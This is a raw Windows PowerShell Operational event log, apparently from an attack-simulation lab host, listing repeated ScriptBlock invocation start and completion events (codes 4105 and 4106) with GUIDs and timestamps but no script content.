SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024781
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024776
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024775
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024755
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024754
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024753
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024752
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024732
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024731
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
